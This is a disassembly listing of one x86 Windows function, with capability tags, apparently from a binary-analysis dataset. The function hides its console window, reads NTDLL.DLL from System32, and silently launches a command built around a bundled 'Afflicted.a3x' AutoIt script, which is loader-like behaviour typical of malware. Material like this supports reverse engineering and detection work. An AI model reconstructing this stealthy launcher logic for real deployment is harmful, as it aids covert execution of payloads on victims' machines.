Function at 0x4038a0
Capabilities:
Create process on windows
Get common file path
Get file size
Hide graphical window
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42564d
mov eax, dword fs:[0]
push eax
sub esp, 0x274
mov eax, dword [0x431080]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x82
lea eax, [ebp - 0x98]
push 0
push eax
call fcn.0040a3d0
push 0x104
lea eax, [ebp - 0x19c]
push 0
push eax
call fcn.0040a3d0
add esp, 0x18
mov dword [ebp - 0x1a0], 0
lea eax, [ebp - 0x98]
push 0x82
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x404098
push str.NTDLL.DLL
lea eax, [ebp - 0x98]
push eax
push str._sSystem32_s
lea eax, [ebp - 0x19c]
push 0x104
push eax
call fcn.00401090
add esp, 0x14
lea eax, [ebp - 0x19c]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x404098
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
push 8
mov dword [ebp - 0x208], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
mov edi, eax
lea eax, [ebp - 0x1a0]
push eax
push dword [ebp - 0x208]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40407c
mov eax, dword [ebp - 0x208]
cmp eax, dword [ebp - 0x1a0]
jne 0x40407c
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov dword [ebp - 0x208], eax
call eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call eax
push edi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1ac]
xorps xmm0, xmm0
mov dword [ebp - 0x1a4], 0
movq qword [ebp - 0x1ac], xmm0
call fcn.00403060
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 4], 1
call fcn.00402d00
xorps xmm0, xmm0
mov dword [ebp - 0x1b4], 0
movups xmmword [ebp - 0x1c4], xmm0
mov dword [ebp - 0x1b0], 0xf
mov byte [ebp - 0x1c4], 0
lea eax, [ebp - 0x1c4]
mov byte [ebp - 4], 3
push eax
lea edx, [ebp - 0x1dc]
lea ecx, [ebp - 0x1ac]
call fcn.00403200
mov ecx, dword [ebp - 0x1b4]
add esp, 4
test ecx, ecx
je 0x403fad
mov eax, 0x7fffffff
sub eax, ecx
cmp eax, 1
jb 0x4040b9
cmp dword [ebp - 0x1b0], 0xf
lea eax, [ebp - 0x1c4]
push ecx
cmova eax, dword [ebp - 0x1c4]
push eax
push 1
push 0x42dc50
push ecx
push dword [ebp - 0x1a0]
lea ecx, [ebp - 0x268]
call fcn.004070f0
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x254]
mov eax, edx
mov ecx, dword [ebp - 0x258]
sub eax, ecx
push 3
push 0x42dc54
cmp eax, 3
jb 0x403b04
cmp edx, 0xf
lea esi, [ebp - 0x268]
lea eax, [ecx + 3]
cmova esi, dword [ebp - 0x268]
add esi, ecx
mov dword [ebp - 0x258], eax
push esi
call fcn.00409e50
add esp, 0xc
mov byte [esi + 3], 0
lea eax, [ebp - 0x268]
jmp 0x403b17
push dword [ebp - 0x1a0]
lea ecx, [ebp - 0x268]
push 3
call fcn.00406c00
mov dword [ebp - 0x210], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x220], xmm0
mov dword [ebp - 0x20c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x220], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x210], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1dc]
cmp dword [ebp - 0x1c8], 0xf
mov edx, dword [ebp - 0x210]
cmova ecx, dword [ebp - 0x1dc]
mov eax, dword [ebp - 0x20c]
mov edi, dword [ebp - 0x1cc]
sub eax, edx
mov dword [ebp - 0x1a0], edx
push edi
push ecx
cmp edi, eax
ja 0x403bd3
cmp dword [ebp - 0x20c], 0xf
lea esi, [ebp - 0x220]
lea eax, [edx + edi]
cmova esi, dword [ebp - 0x220]
mov dword [ebp - 0x210], eax
lea eax, [esi + edx]
push eax
call fcn.00409e50
mov ecx, dword [ebp - 0x1a0]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x220]
jmp 0x403be5
push dword [ebp - 0x1a0]
lea ecx, [ebp - 0x220]
push edi
call fcn.00406c00
mov dword [ebp - 0x228], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x238], xmm0
mov dword [ebp - 0x224], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x238], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x228], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x224]
mov eax, edx
mov ecx, dword [ebp - 0x228]
sub eax, ecx
cmp eax, 1
jb 0x403c6b
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x238]
cmova eax, dword [ebp - 0x238]
mov word [eax + ecx], 0x5c
lea eax, [ebp - 0x238]
jmp 0x403c85
push 1
push 0x42dc28
push dword [ebp - 0x1a0]
lea ecx, [ebp - 0x238]
push 1
call fcn.00406c00
mov dword [ebp - 0x240], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x250], xmm0
mov dword [ebp - 0x23c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x250], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x240], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push str.Afflicted.a3x
lea edx, [ebp - 0x250]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x280]
call fcn.004064b0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 8
mov edi, dword [edx + 0x14]
mov ecx, edi
mov esi, dword [edx + 0x10]
sub ecx, esi
cmp ecx, 1
jb 0x403d14
lea eax, [esi + 1]
mov dword [edx + 0x10], eax
mov eax, edx
cmp edi, 0xf
jbe 0x403d0c
mov eax, dword [edx]
mov word [eax + esi], 0x22
jmp 0x403d2c
push 1
push 0x42dc50
push dword [ebp - 0x1a0]
mov ecx, edx
push 1
call fcn.00406c00
mov edx, eax
mov dword [ebp - 0x1e4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1f4], xmm0
mov dword [ebp - 0x1e0], 0
movups xmm0, xmmword [edx]
movups xmmword [ebp - 0x1f4], xmm0
movq xmm0, qword [edx + 0x10]
movq qword [ebp - 0x1e4], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov ecx, dword [ebp - 0x26c]
cmp ecx, 0xf
jbe 0x403dac
mov edx, dword [ebp - 0x280]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403da2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040be
push ecx
push edx
call fcn.00408aac
add esp, 8
mov ecx, dword [ebp - 0x23c]
mov dword [ebp - 0x270], 0
mov dword [ebp - 0x26c], 0xf
mov byte [ebp - 0x280], 0
cmp ecx, 0xf
jbe 0x403e01
mov edx, dword [ebp - 0x250]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403df7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040be
push ecx
push edx
call fcn.00408aac
add esp, 8
mov ecx, dword [ebp - 0x224]
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x23c], 0xf
mov byte [ebp - 0x250], 0
cmp ecx, 0xf
jbe 0x403e56
mov edx, dword [ebp - 0x238]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403e4c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040be
push ecx
push edx
call fcn.00408aac
add esp, 8
mov ecx, dword [ebp - 0x20c]
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x224], 0xf
mov byte [ebp - 0x238], 0
cmp ecx, 0xf
jbe 0x403eab
mov edx, dword [ebp - 0x220]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403ea1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040be
push ecx
push edx
call fcn.00408aac
add esp, 8
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0xf
mov byte [ebp - 0x220], 0
cmp ecx, 0xf
jbe 0x403f00
mov edx, dword [ebp - 0x268]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403ef6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040be
push ecx
push edx
call fcn.00408aac
add esp, 8
push 0x40
lea eax, [ebp - 0x58]
mov dword [ebp - 0x5c], 0x44
push 0
push eax
call fcn.0040a3d0
add esp, 0xc
lea ecx, [ebp - 0x204]
cmp dword [ebp - 0x1e0], 0xf
lea eax, [ebp - 0x1f4]
cmova eax, dword [ebp - 0x1f4]
push ecx
lea ecx, [ebp - 0x5c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403f73
push 0xffffffffffffffff
push dword [ebp - 0x204]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x204]
mov esi, dword [ebp - 0x208]
call esi
push dword [ebp - 0x200]
call esi
mov ecx, dword [ebp - 0x1e0]
cmp ecx, 0xf
jbe 0x403fad
mov edx, dword [ebp - 0x1f4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403fa3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040c3
push ecx
push edx
call fcn.00408aac
add esp, 8
mov ecx, dword [ebp - 0x1b0]
cmp ecx, 0xf
jbe 0x403fe7
mov edx, dword [ebp - 0x1c4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403fdd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040c8
push ecx
push edx
call fcn.00408aac
add esp, 8
mov ecx, dword [ebp - 0x1c8]
cmp ecx, 0xf
jbe 0x404021
mov edx, dword [ebp - 0x1dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404017
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040c8
push ecx
push edx
call fcn.00408aac
add esp, 8
mov ecx, dword [ebp - 0x1ac]
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
test ecx, ecx
je 0x404072
mov edx, dword [ebp - 0x1a4]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x404068
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040c8
push edx
push ecx
call fcn.00408aac
add esp, 8
xor eax, eax
jmp 0x40409b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x404098
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 0
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00408813
mov esp, ebp
pop ebp
ret 0x10
call fcn.00401260
call fcn.004111ed
call fcn.004111ed
call fcn.004111ed
int3